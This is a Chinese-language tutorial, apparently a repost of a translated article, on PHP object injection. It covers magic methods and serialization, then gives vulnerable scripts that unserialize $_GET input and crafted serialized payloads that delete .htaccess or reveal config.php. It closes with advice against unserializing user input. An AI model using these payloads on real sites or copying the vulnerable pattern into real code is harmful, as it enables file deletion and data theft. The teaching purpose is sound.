|
|
|
|
移动端

详析php对象注入漏洞

php对象注入是一个非常常见的漏洞,这个类型的漏洞虽然有些难以利用,但仍旧非常危险,为了理解这个漏洞,请读者具备基础的php知识。

作者:路人甲来源:乌云知识库|2015-02-04 14:50

【新品产上线啦】51CTO播客,随时随地,碎片化学习

0x00 背景

php对象注入是一个非常常见的漏洞,这个类型的漏洞虽然有些难以利用,但仍旧非常危险,为了理解这个漏洞,请读者具备基础的php知识。

详析php对象注入漏洞

0x01 漏洞案例

如果你觉得这是个渣渣洞,那么请看一眼这个列表,一些被挖到过该漏洞的系统,你可以发现都是一些耳熟能详的玩意(就国外来说)

WordPress 3.6.1

Magento 1.9.0.1

Joomla 3.0.3

Ip board 3.3.5

除此之外等等一堆系统,八成可能大概在这些还有其他的php程序中还有很多这种类型的漏洞,所以不妨考虑坐下喝杯咖啡并且试着去理解这篇文章。

0x01 PHP类和对象

类和变量是非常容易理解的php概念,打个比方,下面的代码在一个类中定义了一个变量和一个方法。

  1. <?php  
  2.    
  3. class TestClass  
  4. {  
  5.     // 一个变量  
  6.    
  7.     public $variable = 'This is a string';  
  8.    
  9.     // 一个简单的方法  
  10.    
  11.     public function PrintVariable()  
  12.     {  
  13.         echo $this->variable;  
  14.     }  
  15. }  
  16.    
  17. // 创建一个对象  
  18.    
  19. $object = new TestClass();  
  20.    
  21. // 调用一个方法  
  22.    
  23. $object->PrintVariable();  
  24.    
  25. ?> 

它创建了一个对象并且调用了 PrintVariable 函数,该函数会输出变量 variable。

如果想了解更多关于php面向对象编程的知识 请点: http://php.net/manual/zh/language.oop5.php

0x02 php magic方法

php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号“__”开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup 和其他的一些玩意。

这些函数在某些情况下会自动调用,比如:

__construct 当一个对象创建时调用 (constructor) __destruct 当一个对象被销毁时调用 (destructor) __ toString当一个对象被当作一个字符串使用

为了更好的理解magic方法是如何工作的,让我们添加一个magic方法在我们的类中。

  1. <?php  
  2.    
  3. class TestClass  
  4. {  
  5.     // 一个变量  
  6.    
  7.     public $variable = 'This is a string';  
  8.    
  9.     // 一个简单的方法  
  10.    
  11.     public function PrintVariable()  
  12.     {  
  13.         echo $this->variable . '<br />';  
  14.     }  
  15.    
  16.     // Constructor  
  17.    
  18.     public function __construct()  
  19.     {  
  20.         echo '__construct <br />';  
  21.     }  
  22.    
  23.     // Destructor  
  24.    
  25.     public function __destruct()  
  26.     {  
  27.         echo '__destruct <br />';  
  28.     }  
  29.    
  30.     // Call  
  31.    
  32.     public function __toString()  
  33.     {  
  34.         return '__toString<br />';  
  35.     }  
  36. }  
  37.    
  38. // 创建一个对象  
  39. //  __construct会被调用  
  40.    
  41. $object = new TestClass();  
  42.    
  43. // 创建一个方法  
  44. //  'This is a string’ 这玩意会被输出  
  45.    
  46. $object->PrintVariable();  
  47.    
  48. // 对象被当作一个字符串  
  49. //  __toString 会被调用  
  50.    
  51. echo $object;  
  52.    
  53. // End of PHP script  
  54. // php脚本要结束了, __destruct会被调用  
  55.    
  56. ?> 

我们往里头放了三个 magic方法,__construct, __destruct和 __toString,你可以看出来,__construct在对象创建时调用, __destruct在php脚本结束时调用,__toString在对象被当作一个字符串使用时调用。

这个脚本会输出这狗样:

__construct

This is a string

__toString

__destruct

这只是一个简单的例子,如果你想了解更多有关magic函数的例子,请点击下面的链接:

http://php.net/manual/zh/language.oop5.magic.php

0x03 php对象序列化

php允许保存一个对象方便以后重用,这个过程被称为序列化,打个比方,你可以保存一个包含着用户信息的对象方便等等重用。

为了序列化一个对象,你需要调用 “serialize”函数,函数会返回一个字符串,当你需要用到这个对象的时候可以使用“unserialize”去重建对象。

让我们在序列化丢进那个例子,看看序列化长什么样。

  1. <?php  
  2.    
  3. // 某类  
  4.    
  5. class User  
  6. {  
  7.     // 类数据  
  8.    
  9.     public $age = 0;  
  10.     public $name = '';  
  11.    
  12.     // 输出数据  
  13.    
  14.     public function PrintData()  
  15.     {  
  16.         echo 'User ' . $this->name . ' is ' . $this->age  
  17.              . ' years old. <br />';  
  18.     }  
  19. }  
  20.    
  21. // 创建一个对象  
  22.    
  23. $usr = new User();  
  24.    
  25. // 设置数据  
  26.    
  27. $usr->age = 20;  
  28. $usr->name = 'John';  
  29.    
  30. // 输出数据  
  31.    
  32. $usr->PrintData();  
  33.    
  34. // 输出序列化之后的数据  
  35.    
  36. echo serialize($usr);  
  37.    
  38. ?> 

它会输出

User John is 20 years old.

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

你可以看到序列化之后的数据中 有 20和John,其中没有任何跟类有关的东西,只有其中的数据被数据化。

为了使用这个对象,我们用unserialize重建对象。

  1. <?php  
  2.    
  3. // 某类  
  4.    
  5. class User  
  6. {  
  7.     // Class data  
  8.    
  9.     public $age = 0;  
  10.     public $name = '';  
  11.    
  12.     // Print data  
  13.    
  14.     public function PrintData()  
  15.     {  
  16.         echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  
  17.     }  
  18. }  
  19.    
  20. // 重建对象  
  21.    
  22. $usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');  
  23.    
  24. // 调用PrintData 输出数据  
  25.    
  26. $usr->PrintData();  
  27.    
  28. ?> 

这会输出

User John is 20 years old

0x04 序列化magic函数

magic函数constructor (__construct)和 destructor (__destruct) 是会在对象创建或者销毁时自动调用,其他的一些magic函数会在serialize 或者 unserialize的时候被调用。

__sleep magic方法在一个对象被序列化的时候调用。 __wakeup magic方法在一个对象被反序列化的时候调用。

注意 __sleep 必须返回一个数组与序列化的变量名。

  1. <?php  
  2.    
  3. class Test  
  4. {  
  5.     public $variable = 'BUZZ';  
  6.     public $variable2 = 'OTHER';  
  7.    
  8.     public function PrintVariable()  
  9.     {  
  10.         echo $this->variable . '<br />';  
  11.     }  
  12.    
  13.     public function __construct()  
  14.     {  
  15.         echo '__construct<br />';  
  16.     }  
  17.    
  18.     public function __destruct()  
  19.     {  
  20.         echo '__destruct<br />';  
  21.     }  
  22.    
  23.     public function __wakeup()  
  24.     {  
  25.         echo '__wakeup<br />';  
  26.     }  
  27.    
  28.     public function __sleep()  
  29.     {  
  30.         echo '__sleep<br />';  
  31.    
  32.         return array('variable''variable2');  
  33.     }  
  34. }  
  35.    
  36. // 创建一个对象,会调用 __construct  
  37.    
  38. $obj = new Test();  
  39.    
  40. // 序列化一个对象,会调用 __sleep  
  41.    
  42. $serialized = serialize($obj);  
  43.    
  44. //输出序列化后的字符串  
  45.    
  46. print 'Serialized: ' . $serialized . <br />';  
  47.    
  48. // 重建对象,会调用 __wakeup  
  49.    
  50. $obj2 = unserialize($serialized);  
  51.    
  52. //调用 PintVariable, 会输出数据 (BUZZ)  
  53.    
  54. $obj2->PrintVariable();  
  55.    
  56. // php脚本结束,会调用 __destruct   
  57.    
  58. ?> 

这玩意会输出:

__construct

__sleep

Serialized: O:4:"Test":2:

{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";}

__wakeup

BUZZ

__destruct

__destruct

你可以看到,我们创建了一个对象,序列化了它(然后__sleep被调用),之后用序列化对象重建后的对象创建了另一个对象,接着php脚本结束的时候两个对象的__destruct都会被调用。

更多相关的内容

http://php.net/manual/zh/language.oop5.serialization.php

0x05 php对象注入

现在我们理解了序列化是如何工作的,我们该如何利用它?事实上,利用这玩意的可能性有很多种,关键取决于应用程序的流程与,可用的类,与magic函数。

记住序列化对象的值是可控的。

你可能会找到一套web程序的源代码,其中某个类的__wakeup 或者 __destruct and其他乱七八糟的函数会影响到web程序。

打个比方,我们可能会找到一个类用于临时将日志储存进某个文件,当__destruct被调用时,日志文件会被删除。

  1. <?php   
  2.    
  3. class LogFile  
  4. {  
  5.     // log文件名  
  6.    
  7.     public $filename = 'error.log';  
  8.    
  9.     // 某代码,储存日志进文件  
  10.    
  11.     public function LogData($text)  
  12.     {  
  13.         echo 'Log some data: ' . $text . '<br />';  
  14.         file_put_contents($this->filename, $text, FILE_APPEND);  
  15.     }  
  16.    
  17.     // Destructor 删除日志文件  
  18.    
  19.     public function __destruct()  
  20.     {  
  21.         echo '__destruct deletes "' . $this->filename . '" file. <br />';  
  22.         unlink(dirname(__FILE__) . '/' . $this->filename);  
  23.     }  
  24. }  
  25.    
  26. ?> 

某例子关于如何使用这个类

  1. <?php  
  2.    
  3. include 'logfile.php';  
  4.    
  5. // 创建一个对象  
  6.    
  7. $obj = new LogFile();  
  8.    
  9. // 设置文件名和要储存的日志数据  
  10.    
  11. $obj->filename = 'somefile.log';  
  12. $obj->LogData('Test');  
  13.    
  14. // php脚本结束啦,__destruct被调用,somefile.log文件被删除。  
  15.    
  16. ?> 

在其他的脚本,我们可能又恰好找到一个调用“unserialize”函数的,并且恰好变量是用户可控的,又恰好是$_GET之类的。

  1. <?php  
  2.    
  3. include 'logfile.php';  
  4.    
  5. // ... 一些狗日的代码和 LogFile 类 ...  
  6.    
  7. // 简单的类定义  
  8.    
  9. class User  
  10. {  
  11.     // 类数据  
  12.    
  13.     public $age = 0;  
  14.     public $name = '';  
  15.    
  16.     // 输出数据  
  17.    
  18.     public function PrintData()  
  19.     {  
  20.         echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  
  21.     }  
  22. }  
  23.    
  24. // 重建 用户输入的 数据  
  25.    
  26. $usr = unserialize($_GET['usr_serialized']);  
  27.    
  28. ?> 

你看,这个代码调用了 “LogClass” 类,并且有一个 “unserialize” 值是我们可以注入的。

所以构造类似这样的东西:

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

究竟发生了什么呢,因为输入是可控的,所以我们可以构造任意的序列化对象,比如:

  1. <?php  
  2.    
  3. $obj = new LogFile();  
  4. $obj->filename = '.htaccess';  
  5.    
  6. echo serialize($obj) . '<br />';  
  7.    
  8. ?> 

这个会输出

O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";}

__destruct deletes ".htaccess" file.

现在我们将构造过后的序列化对象发送给刚才的脚本:

script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess”;}

这会输出

__destruct deletes ".htaccess" file.

现在 .htaccess 已经被干掉了,因为脚本结束时 __destruct会被调用。不过我们已经可以控制“LogFile”类的变量啦。

这就是漏洞名称的由来:变量可控并且进行了unserialize操作的地方注入序列化对象,实现代码执行或者其他坑爹的行为。

虽然这不是一个很好的例子,不过我相信你可以理解这个概念,unserialize自动调用 __wakeup 和 __destruct,接着攻击者可以控制类变量,并且攻击web程序。

0x06 常见的注入点

先不谈 __wakeup 和 __destruct,还有一些很常见的注入点允许你利用这个类型的漏洞,一切都是取决于程序逻辑。

打个比方,某用户类定义了一个__toString为了让应用程序能够将类作为一个字符串输出(echo $obj) ,而且其他类也可能定义了一个类允许__toString读取某个文件。

  1. <?php   
  2.    
  3. // … 一些include ...  
  4.    
  5. class FileClass  
  6. {  
  7.     // 文件名  
  8.    
  9.     public $filename = 'error.log';  
  10.    
  11.     //当对象被作为一个字符串会读取这个文件  
  12.    
  13.     public function __toString()  
  14.     {  
  15.         return file_get_contents($this->filename);  
  16.     }  
  17. }  
  18.    
  19. // Main User class  
  20.    
  21. class User  
  22. {  
  23.     // Class data  
  24.    
  25.     public $age = 0;  
  26.     public $name = '';  
  27.    
  28.     // 允许对象作为一个字符串输出上面的data  
  29.    
  30.     public function __toString()  
  31.     {  
  32.         return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  
  33.     }  
  34. }  
  35.    
  36. // 用户可控  
  37.    
  38. $obj = unserialize($_GET['usr_serialized']);  
  39.    
  40. // 输出 __toString  
  41.    
  42. echo $obj;  
  43.    
  44. ?> 

so,我们构造url

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

再想想,如果我们用序列化调用 FileClass呢

我们创建利用代码

  1. <?php  
  2.    
  3. $fileobj = new FileClass();  
  4. $fileobj->filename = 'config.php';  
  5.    
  6. echo serialize($fileobj);  
  7.    
  8. ?> 

接着用生成的exp注入url

script.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php”;}

接着网页会输出 config.php的源代码

  1. <?php   
  2. $private_data = 'MAGIC';   
  3. ?> 

ps:我希望这让你能够理解。

0x07 其他的利用方法

可能其他的一些magic函数海存在利用点:比如__call 会在对象调用不存在的函数时调用,__get 和 __set会在对象尝试访问一些不存在的类,变量等等时调用。

不过需要注意的是,利用场景不限于magic函数,也有一些方式可以在一半的函数中利用这个漏洞,打个比方,一个模块可能定义了一个叫get的函数进行一些敏感的操作,比如访问数据库,这就可能造成sql注入,取决于函数本身的操作。

唯一的一个技术难点在于,注入的类必须在注入点所在的地方,不过一些模块或者脚本会使用“autoload”的功能,具体可以在这里了解

http://php.net/manual/zh/language.oop5.autoload.php

0x08 如何利用或者避免这个漏洞

别在任何用户可控的地方使用“unserialize”,可以考虑“json_decode“

0x09 结论

虽然很难找到而且很难利用,但是这真的真的很严重,可以导致各种各样的漏洞。

原文:http://securitycafe.ro/2015/01/05/understanding-php-object-injection/

【责任编辑:蓝雨泪 TEL:(010)68476606】

点赞 0
分享:
大家都在看
猜你喜欢

读 书 +更多

Head First 设计模式(中文版)

本书共有14章,每章都介绍了几个设计模式,完整地涵盖了四人组版本全部23个设计模式。前言先介绍这本书的用法;第1章到第11章陆续介绍的设...

订阅51CTO邮刊

点击这里查看样刊

订阅51CTO邮刊